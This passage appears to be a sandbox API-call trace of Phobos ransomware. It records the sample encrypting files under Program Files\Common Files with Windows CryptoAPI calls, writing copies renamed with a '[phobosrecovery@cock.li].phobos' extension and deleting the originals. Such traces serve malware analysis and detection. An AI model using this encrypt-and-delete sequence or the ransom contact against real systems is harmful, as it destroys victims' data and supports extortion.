lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x3ba50, lpOverlapped=0x0) returned 1 [0170.387] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1a10) returned 1 [0170.387] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0170.387] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x30, dwBufLen=0x30 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x30) returned 1 [0170.387] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0170.387] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xe2, lpOverlapped=0x0) returned 1 [0170.387] CryptDestroyKey (hKey=0x1d1510) returned 1 [0170.387] CloseHandle (hObject=0x2ec) returned 1 [0170.387] CloseHandle (hObject=0x2cc) returned 1 [0170.387] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0170.391] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0170.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0170.391] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=990032) returned 1 [0170.391] CloseHandle (hObject=0x2cc) returned 1 [0170.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0170.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0170.392] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0170.392] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0170.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.393] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1a10) returned 1 [0170.393] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0170.393] ReadFile (in: hFile=0x2cc, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xf1b50, lpOverlapped=0x0) returned 1 [0170.533] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xf1b60, dwBufLen=0xf1b60 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xf1b60) returned 1 [0170.534] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf1b60, lpOverlapped=0x0) returned 1 [0170.548] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1850) returned 1 [0170.548] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0170.548] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0170.549] CryptDestroyKey (hKey=0x1d1850) returned 1 [0170.549] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0170.549] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0170.549] CloseHandle (hObject=0x2cc) returned 1 [0170.549] CloseHandle (hObject=0x2ec) returned 1 [0170.549] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0170.557] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0170.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.558] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=855376) returned 1 [0170.558] CloseHandle (hObject=0x2ec) returned 1 [0170.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0170.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.558] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0170.558] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0170.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0170.650] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d17d0) returned 1 [0170.650] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0170.650] ReadFile (in: hFile=0x2ec, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xd0d50, lpOverlapped=0x0) returned 1 [0170.980] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xd0d60, dwBufLen=0xd0d60 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xd0d60) returned 1 [0170.982] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xd0d60, lpOverlapped=0x0) returned 1 [0170.997] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1450) returned 1 [0170.997] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0170.997] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0170.997] CryptDestroyKey (hKey=0x1d1450) returned 1 [0170.997] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0170.997] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0170.998] CloseHandle (hObject=0x2ec) returned 1 [0170.998] CloseHandle (hObject=0x2d8) returned 1 [0170.998] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0171.007] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0171.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0171.008] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=100488) returned 1 [0171.008] CloseHandle (hObject=0x2d8) returned 1 [0171.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0171.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0171.008] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.008] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.009] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1450) returned 1 [0171.009] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.009] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x18888, lpOverlapped=0x0) returned 1 [0171.055] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x18890, dwBufLen=0x18890 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x18890) returned 1 [0171.055] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x18890, lpOverlapped=0x0) returned 1 [0171.057] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1890) returned 1 [0171.057] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.057] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0171.057] CryptDestroyKey (hKey=0x1d1890) returned 1 [0171.057] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0171.058] CryptDestroyKey (hKey=0x1d1450) returned 1 [0171.058] CloseHandle (hObject=0x2d8) returned 1 [0171.058] CloseHandle (hObject=0x2ec) returned 1 [0171.058] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0171.063] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0171.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.063] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=367216) returned 1 [0171.063] CloseHandle (hObject=0x2ec) returned 1 [0171.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0171.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.064] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.064] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0171.065] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d16d0) returned 1 [0171.065] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.065] ReadFile (in: hFile=0x2ec, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x59a70, lpOverlapped=0x0) returned 1 [0171.188] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x59a80, dwBufLen=0x59a80 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x59a80) returned 1 [0171.188] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x59a80, lpOverlapped=0x0) returned 1 [0171.199] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1610) returned 1 [0171.199] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.199] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0171.199] CryptDestroyKey (hKey=0x1d1610) returned 1 [0171.199] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0171.199] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0171.199] CloseHandle (hObject=0x2ec) returned 1 [0171.199] CloseHandle (hObject=0x2d8) returned 1 [0171.199] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0171.205] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0171.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0171.206] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=48872) returned 1 [0171.206] CloseHandle (hObject=0x2d8) returned 1 [0171.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0171.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0171.207] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.207] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.208] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1850) returned 1 [0171.208] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.208] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xbee8, lpOverlapped=0x0) returned 1 [0171.217] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xbef0, dwBufLen=0xbef0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xbef0) returned 1 [0171.217] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xbef0, lpOverlapped=0x0) returned 1 [0171.219] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1610) returned 1 [0171.219] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.219] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0171.219] CryptDestroyKey (hKey=0x1d1610) returned 1 [0171.219] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0171.219] CryptDestroyKey (hKey=0x1d1850) returned 1 [0171.219] CloseHandle (hObject=0x2d8) returned 1 [0171.219] CloseHandle (hObject=0x2ec) returned 1 [0171.219] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0171.222] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0171.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0171.229] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=17048) returned 1 [0171.229] CloseHandle (hObject=0x2d8) returned 1 [0171.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0171.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.229] CreateFileW 